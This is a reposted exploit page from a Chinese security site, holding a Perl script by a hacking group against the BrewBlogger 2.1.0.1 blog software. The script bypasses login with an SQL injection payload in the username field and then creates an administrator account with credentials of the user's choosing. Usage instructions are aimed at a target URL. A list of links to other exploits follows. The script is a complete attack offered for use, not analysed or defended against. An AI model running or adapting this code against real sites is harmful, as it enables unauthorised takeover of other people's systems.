BrewBlogger 2.1.0.1 Arbitrary Add Admin Exploit
互联网 发布时间:2008-10-08 21:03:10 作者:佚名
我要评论
#!/usr/bin/perl
#=================================================
# BrewBlogger 2.1.0.1 Arbitrary Add Admin Exploit
#=================================================
#
# ,--^----------,--------,-----,-------^--,
# | ||||||||| `-----
#!/usr/bin/perl
#=================================================
# BrewBlogger 2.1.0.1 Arbitrary Add Admin Exploit
#=================================================
#
# ,--^----------,--------,-----,-------^--,
# | ||||||||| `--------' | O .. CWH Underground Hacking Team ..
# ` ---------------------------^----------|
# `\_,-------, _________________________|
# / XXXXXX /`| /
# / XXXXXX / `\ /
# / XXXXXX /\______(
# / XXXXXX /
# / XXXXXX /
# (________(
# `------'
#
#AUTHOR : CWH Underground
#DATE : 8 July 2008
#SITE : www.citec.us
#
#
#####################################################
#APPLICATION : BrewBlogger
#VERSION : 2.1.0.1
#DOWNLOAD : http://downloads.sourceforge.net/brewblogger/BB2.1.0.1.zip?modtime=1196093070&big_mirror=0
######################################################
#
#Note: magic_quotes_gpc = off
#
#This Exploit will Add user to Administrator's Privilege.
#
#####################################################################
# Greetz : ZeQ3uL, BAD $ectors, Snapter, Conan, JabAv0C, Win7dos
# Special Thx : asylu3, str0ke, CITEC, milw0rm
#####################################################################
use LWP;
use HTTP::Request;
use HTTP::Cookies;
print "\n==================================================\n";
print " BrewBlogger 2.1.0.1 Arbitrary Add Admin Exploit \n";
print " \n";
print " Discovered By CWH Underground \n";
print "==================================================\n";
print " \n";
print " ,--^----------,--------,-----,-------^--, \n";
print " | ||||||||| `--------' | O \n";
print " ` ---------------------------^----------| \n";
print " `\_,-------, _________________________| \n";
print " / XXXXXX /`| / \n";
print " / XXXXXX / `\ / \n";
print " / XXXXXX /\______( \n";
print " / XXXXXX / \n";
print " / XXXXXX / .. CWH Underground Hacking Team .. \n";
print " (________( \n";
print " `------' \n";
print " \n";
if ($#ARGV 1 != 3)
{
print "Usage: ./xpl-brewblogger.pl <BrewBlogger URL> <user> <pass>\n";
print "Ex. ./xpl-brewblogger.pl http://www.target.com/BrewBlogger/ cwhuser cwhpass\n";
exit();
}
$blogurl = $ARGV[0];
$user = $ARGV[1];
$pass = $ARGV[2];
$loginurl = $blogurl."includes/logincheck.inc.php";
$adduserurl = $blogurl."admin/process.php?action=add&dbTable=users";
$post_content = "x=38&y=15&realFirstName=FirstName&realLastName=LastName&userLevel=1&user_name=".$user."&password=".$pass;
print "\n..::Login Page URL::..\n";
print "$loginurl";
print "\n..::Add User Page URL::..\n";
print "$adduserurl\n\n";
print "..::Login Process::..\n";
$ua = LWP::UserAgent->new;
$ua->cookie_jar(HTTP::Cookies->new);
$request = HTTP::Request->new (POST => $loginurl);
$request->header (Accept-Charset => 'ISO-8859-1,utf-8;q=0.7,*;q=0.7');
$request->content_type ('application/x-www-form-urlencoded');
$request->content ('loginUsername=\' or id=1/*&loginPassword=&x=0&y=0');
$response = $ua->request($request);
$location = $response -> header('Location');
print "Result :: ";
if ($location =~ /..\/admin\/index.php/)
{
print "Login Success!!!\n";
}
else
{
print "Login Failed T T\n";
exit();
}
print "\n..::Add Admin Process::..\n";
$request = HTTP::Request->new (POST => $adduserurl);
$request->content_type ('application/x-www-form-urlencoded');
$request->content ($post_content);
$response = $ua->request($request);
$location = "";
$location = $response->header('Location');
print "Result :: ";
if ($location =~ /index.php\?action=list&dbTable=users&confirm=true&msg=1/)
{
print "Exploit Success!!!\n\n";
print "Username :: ".$user."\n";
print "Password :: ".$pass."\n";
print "Role :: Administrator\n";
}
else
{
print "Exploit Failed T T\n";
exit();
}
# milw0rm.com [2008-07-08]
相关文章
- 昨晚跟@Sunshine 请教了下终端机的玩法,顺便翻了翻资料。总结了以下的几种方法2013-06-19
Wysi Wiki Wyg 1.0 (index.php c) Local File Inclusion Vulnerability
--== ========================================================= ==-- --== Wizi Wiki Wig Local File Inclusion Vulnerability ==-- --== =============2008-10-08File Store PRO 3.2 Multiple Blind SQL Injection Vulnerabilities
| File Store PRO 3.2 Blind SQL Injection | |________________________________________| Download from: http://upoint.info/cgi/demo/fs/filestore.zip2008-10-08Facebook Newsroom CMS 0.5.0 Beta 1 Remote File Inclusion Vulnerabi
##################################################################### # # Facebook Newsroom Application Remote File Inclusion Vulnerability # ######2008-10-08DreamNews Manager (id) Remote SQL Injection Vulnerability
######################################################### # # dreamnews ( rss) Remote SQL Injection Vulnerability #================================2008-10-08gapicms 9.0.2 (dirDepth) Remote File Inclusion Vulnerability
###################################################################################################### gapicms v9.0.2 (dirDepth) Remote File Inclusion Vulner2008-10-08phpDatingClub (website.php page) Local File Inclusion Vulnerabilit
######################################################### # # phpDatingClub Local File Include Vulnerability #=====================================2008-10-08Cisco WebEx Meeting Manager (atucfobj.dll) ActiveX Remote BOF Expl
<html> <body> <object classid=clsid:32E26FD9-F435-4A20-A561-35D4B987CFDC id=target /> </object> <script language=javascript2008-10-08Quicksilver Forums 1.4.1 forums[] Remote SQL Injection Exploit
<?php /* . vuln.: Quicksilver Forums 1.4.1 (forums[]) Remote SQL Injection Exploit . download: http://www.quicksilverforums.com/ . . author: irk4z[2008-10-08IntelliTamper 2.07 HTTP Header Remote Code Execution Exploit
/** ** ** IntelliTamper 2.07 Location: HTTP Header Remote Code Execution exploit. ** ** Based on exploit by Koshi (written in Perl). This one should be2008-10-08


最新评论